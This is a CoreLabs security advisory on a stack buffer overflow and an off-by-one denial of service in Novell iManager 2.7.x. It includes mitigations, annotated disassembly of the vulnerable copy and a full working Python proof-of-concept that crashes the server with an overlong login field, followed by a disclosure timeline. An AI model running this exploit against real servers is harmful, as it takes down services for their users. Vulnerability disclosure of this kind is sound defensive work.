-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://corelabs.coresecurity.com/ Novell iManager Multiple Vulnerabilities 1. *Advisory Information* Title: Novell iManager Multiple Vulnerabilities Advisory Id: CORE-2010-0316 Advisory URL: [http://www.coresecurity.com/content/novell-imanager-buffer-overflow-off -by-one-vulnerabilities] Date published: 2010-06-23 Date of last update: 2010-06-23 Vendors contacted: Novell Release mode: User release 2. *Vulnerability Information* Class: Stack-based buffer overflow [CWE-119], Off-by-one error [CWE-193] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2010-1929, CVE-2010-1930 Bugtraq ID: 40480, 40485 3. *Vulnerability Description* Novell iManager is a Web-based administration console that provides customized secure access to network administration utilities and content from any location in the world. With iManager you can manage Novell Open Enterprise Server, Novell Identity Manager, Novell eDirectory and many other Novell and third-party services from a web browser. Novell iManager is prone to a stack-based buffer overflow vulnerability that can be exploited by authenticated users to execute arbitrary code, and to an off-by-one error that can be abused by remote, unauthenticated attackers to cause a Denial of Service to the application. 4. *Vulnerable packages* . Novell iManager 2.7 . Novell iManager 2.7.3 . Novell iManager 2.7.3 FTF2 . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Novell iManager 2.7.3 ftf4 . Novell iManager 2.7.4 6. *Vendor Information, Solutions and Workarounds* Novell has a planned release of iManager 2.7.4 in August 2010; this release should fix these issues. The Novell team notifies they will provide patches for the current vulnerable versions with the 2.7.3 ftf4 release before August, but this release was not confirmed yet (see the timeline for more details). In the meantime, users can mitigate these flaws by applying these countermeasures: 1. For [CVE-2010-1929 | 40480], establish a Web Application Firewall rule for limiting the length of the parameters 'EnteredClassID' and 'NewClassName' in POST requests to the URI '/nps/servlet/webacc/'. 2. For [CVE-2010-1930 | 40485], establish a Web Application Firewall rule for limiting the length of the parameter 'Tree' in POST requests to the URI '/nps/servlet/webacc/'. Similar rules can also be established in the Apache webserver of the iManager installation in order to mitigate these flaws. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Security Technologies. 8. *Technical Description / Proof of Concept Code* 8.1. *Introduction* Novell iManager [1] is a Web-based administration console that provides customized secure access to network administration utilities and content from any location in the world. With iManager you can manage Novell Open Enterprise Server, Novell Identity Manager, Novell eDirectory and many other Novell and third-party services from a web browser. Novell iManager is prone to a stack-based buffer overflow vulnerability that can be exploited by authenticated users to execute arbitrary code, and to an off-by-one error that can be abused by remote, unauthenticated attackers to cause a Denial of Service to the application. These two vulnerabilities are described below. 8.2. *Stack-based Buffer Overflow* [CVE-2010-1929 | 40480] Novell iManager provides a feature to create classes, under the 'Schema' menu. The class name is intended to have a maximum length of 32 characters. This limitation is enforced on the client side by setting a 'maxlength' property with a value of 32 in the proper form field, but no verification is performed on the server side to ensure that the user-defined class name is, at most, 32 characters long. By tampering the POST request that sends the class name when creating a new class, an authenticated user can define an overly long class name that will cause a stack-based buffer overflow on the iManager web server, making it possible for the attacker to overwrite return addresses and Structured Exception Handlers, allowing the execution of arbitrary code with the privileges of the current user (in the case of iManager Workstation) or with SYSTEM privileges (in the case of iManager Server). On the server side, the creation of a new class is handled by the 'jclient._Java_novell_jclient_JClient_defineClass@20' function, in the 'jclient.dll' module of the iManager Tomcat web server. This function in turn invokes a subroutine that copies the user-defined class name to a fixed-size buffer in the stack, without checking its length. The following disassembled code of the Novell iManager Tomcat web server illustrates the vulnerability. /----- [jvm.dll + 0x1055CC] 6D9B55CC |. 8B7D 18 MOV EDI,DWORD PTR SS:[EBP+18] ; edi = destination buffer in the stack 6D9B55CF |. 83E1 3F AND ECX,3F 6D9B55D2 |. D3E0 SHL EAX,CL 6D9B55D4 |. 8D7472 0C LEA ESI,DWORD PTR DS:[EDX+ESI*2+C] ; esi = pointer to class name 6D9B55D8 |. 8BC8 MOV ECX,EAX ; ecx = length of class name 6D9B55DA |. 8BD1 MOV EDX,ECX 6D9B55DC |. C1E9 02 SHR ECX,2 6D9B55DF |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; *BUFFER OVERFLOW* - -----/ 8.3. *Off By One Error (DoS)* [CVE-2010-1930 | 40485] There is an off-by-one error in the code that handles the login process that can be abused by remote, unauthenticated users to crash the iManager web server, thus denying the service to legitimate users. The three input fields in the login page of iManager have defined a 'maxlength' property with a value of 256 to limit the number of characters that can be entered in each field. However, if a login request is sent to the web server having a 'TREE' field with a length of 256 characters, the iManager Tomcat web server will crash, rendering the application unavailable. The following Python script is a proof of concept of the vulnerability, and will crash the Novell iManager instance specified via command-line arguments: /----- #Usage: $ python poc.py <iManager_IP> <iManager_Port> #E.g: $ python poc.py 192.168.0.1 48080 import socket import sys import time import httplib def server_uses_SSL(host, port): #Try to determine if the server is using HTTP over SSL or not. headers = { 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0. 8', 'Accept-Language': 'en-us,en;q=0.5', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Connection':'close'} using_ssl = True conn = httplib.HTTPSConnection(host, port) try: conn.request('GET', '/nps/servlet/webacc', headers=headers) response = conn.getresponse() except socket.sslerror: using_ssl = False finally: conn.close() return using_ssl def post_urlencoded_data(host, port, selector, body, use_ssl, get_resp=True): headers = { 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0. 8', 'Accept-Language': 'en-us,en;q=0.5', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Referer': 'http://%s:%s%s' % (host, port, '/nps/servlet/webacc'), 'Content-Type':'application/x-www-form-urlencoded', 'Content-Length': str(len(body)), 'Connection':'close'} if use_ssl: conn = httplib.HTTPSConnection(host, port) else: conn = httplib.HTTPConnection(host, port) conn.request('POST', selector, body, headers) html = '' #This flag allows me to avoid keeping waiting for a server response in the last step, when the webserver is crashed if get_resp: response = conn.getresponse() html = response.read() conn.close() return html def getPostParameters(): params = 'rank=primary&DoLogin=true&forceMaster=false' params += '&username=admin&password=mipass&tree=%s&Entrada.x=27&Entrada.y=13' % ('A' * 256) return params def main(): host = sys.argv[1] port = int(sys.argv[2]) #Determine if the server uses plain HTTP (iManager Workstation) or HTTPS (iManager Server) uses_ssl = server_uses_SSL(host, port) if uses_ssl: print '(+) The server uses HTTP over SSL. Guessed target: iManager Server.' else: print '(+) The server uses plain HTTP. Guessed target: iManager Workstation.' print '(+) Sending login request with 256-character long TREE field...' post_urlencoded_data(host, port, '/nps/servlet/webacc', getPostParameters(), uses_ssl, False) print '(+) Malicious request successfully sent.' #Wait 10 seconds and try to connect again to iManager, to check if it's down print '(+) Waiting 10 seconds before trying to reconnect to iManager...' time.sleep(10) try: print '(+) Trying to reconnect...' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.close() print '(!) Something went wrong. Novell iManager is still alive.' except socket.error: print '(*) Attack successful. Novell iManager is down.' if __name__ == '__main__': main() - -----/ 9. *Report Timeline* . 2010-04-08: Core Security Technologies notifies the iManager team of the vulnerability and announces its initial plan to publish the advisory on May 3rd, 2010. . 2010-04-09: The iManager team asks Core for a technical description of the vulnerability. . 2010-04-09: Technical details are sent to iManager team by Core. No reply received. . 2010-04-14: Technical details are re-sent to iManager team. Core asks the vendor to confirm the reception of the technical report. No reply received. . 2010-04-20: Core asks the vendor to confirm the reception of the technical report. No reply received. . 2010-04-29: Core notifies the lack of an answer from the iManager team in the last 3 weeks. Core also requests a status update and notifies the advisory publication has been re-scheduled to May 17th. . 2010-04-30: iManager team notifies the Service Request 10614363428 has been opened to track this issue. . 2010-04-30: iManager team notifies the PoC script included in the advisory against iManager 2.7.3 has been unable to cause iManager to crash. . 2010-04-30: Core notifies the original PoC was tested against the Workstation version of Novell iManager (it uses plain HTTP). The Server version (used by vendor) uses HTTPS. Core sends a new PoC which was tested on both the Workstation and Server versions of iManger. . 2010-05-07: iManager team notifies they were able to duplicate the PoC against the Windows version of iManager but, they were unable to duplicate it against Linux versions. The vendor also notifies they have a planned release of iManager 2.7.4 in August and asks Core if that timeframe is acceptable. . 2010-05-13: Core asks the vendor if they are going to release a fix/patch for the already vulnerable users and recommends doing so before the next release of iManager, Aug 2010. No reply received. . 2010-05-17: Core asks for a status update about this issue. Core also notifies Novell mentioned their team had been able to reproduce the PoC of the DoS vulnerability but Core reported 2 vulnerabilities: 1. Remote Denial of Service, 2. Stack-based buffer overflow (exploitable when a user sends a long class name). There was no information reported about the 2nd vulnerability. . 2010-05-18: iManager team asks when Core is going to disclose the vulnerabilities and if that time is flexible. . 2010-05-20: Core notifies the proposed release date was already missed (2010-May-17), and the advisory is re-scheduled to May 31st. Core also notifies this release date is flexible but it depends on Novell timeline and further actions. In order to change this date Core asks for the information required in previous emails: 1. Core asks if iManager team could reproduce both vulnerabilities. 2. Core asks if they are going to release patches/fixes for both vulnerabilities before the release of the new version of iManager (iManager 2.7.4 scheduled for August 2010) 3. Core asks if they are going to release a security bulletin for their customers. Core also notifies that if the iManager team does not mean to release patches and/or a security bulletin then, there is not a good reason to postpone the advisory publication till Aug 2010. . 2010-05-27: Core notifies the advisory is going to be released next Monday 31st and that this date can be re-scheduled to a near future if iManager team sends the information requested in previous emails. Core asks Novell to re-establish the contact ASAP in order to coordinate the advisory publication. . 2010-06-02: Paula Gephart from the iManager team notifies she was out of town and the email's vacation rule has not worked for some reason. The iManager team also notifies that they would like to coordinate a release and they will re-establish the contact as soon as they can find an acceptable release mechanism. . 2010-06-02: Core notifies that, given the 2nd publication deadline for the advisory has already passed and the lack of an answer from the iManager team to the questions asked in the email sent in [2010-05-20], it is best (according to the Core's assessment on how to help users to reduce risk) to inform the vulnerable users about their risk and provide whatever mitigation or workarounds than to postpone disclosure to an uncertain future date. Core also notifies the advisory has already entered within the publication system and it would be hard to stop it, but it can be done if the iManager team provides the answers requested in the previous emails. Core notifies that will be waiting for this information until the end of the day and this deadline should be considered as final. No reply received. . 2010-06-02: The advisory CORE-2010-0316 is published. . 2010-06-02: The iManager team notifies both bugs have been reproduced and they are going to develop fixes for both issues. The iMananger team also notifies it has not decided if they are going to issue patches for the vulnerable versions of iManager currently in use or will just roll out the fixes in the upcoming release of a new iManager version. . 2010-06-02: Core removes the advisory from its website and notifies that it was published for about 20 minutes. Core also notifies there will be a meeting of the Core Advisories Team in order to evaluate this case tomorrow (Thursday 3th) 19.30 GMT. If the iManager team does not mean to release patches then, there is not a good reason to postpone the advisory publication till Aug 2010. . 2010-06-03: The iManager team notifies the plan to release a 2.7.3 ftf4 to fix these 2 issues and another issue. iManager 2.7.3 ftf4 would be released before August, but there is no date yet. . 2010-06-03: Core agrees to postpone the advisory publication waiting for the 2.7.3 ftf4 release. The advisory is re-scheduled for publication to the Monday 21th June, 2010. Core notifies this date can be moved if the iManager team need it, but the iManager team should provide a clear report about the progress of the fixing process in order to request moving the release date. . 2010-06-15: Core requests a status update to the iManager team. . 2010-06-17: Core requests a status update to the iManager team and notifies the advisory will be released next Monday as planned. . 2010-06-18: The iManager team notifies they are waiting on a response from another Novell product that ships with iManager, to make sure they will also be able to consume the new version of iManager and release before August. The iManager team also notifies they will contact Core with the timeline today. . 2010-06-23: The advisory CORE-2010-0316 is published. 10. *References* [1] Novell iManager: [http://www.novell.com/products/consoles/imanager/overview.html]. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: [http://www.coresecurity.com/corelabs]. 12. *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at [http://www.coresecurity.com]. 13. *Disclaimer* The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at [http://www.coresecurity.com/files/attachments/core_security_advisories. asc]. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkwifQUACgkQyNibggitWa1meQCfX8hLENduIFbfOtEAh08CDEUb rJwAoIU+v/I4bPYp5f37zN5R/KKJ5ffB =OoGO -----END PGP SIGNATURE-----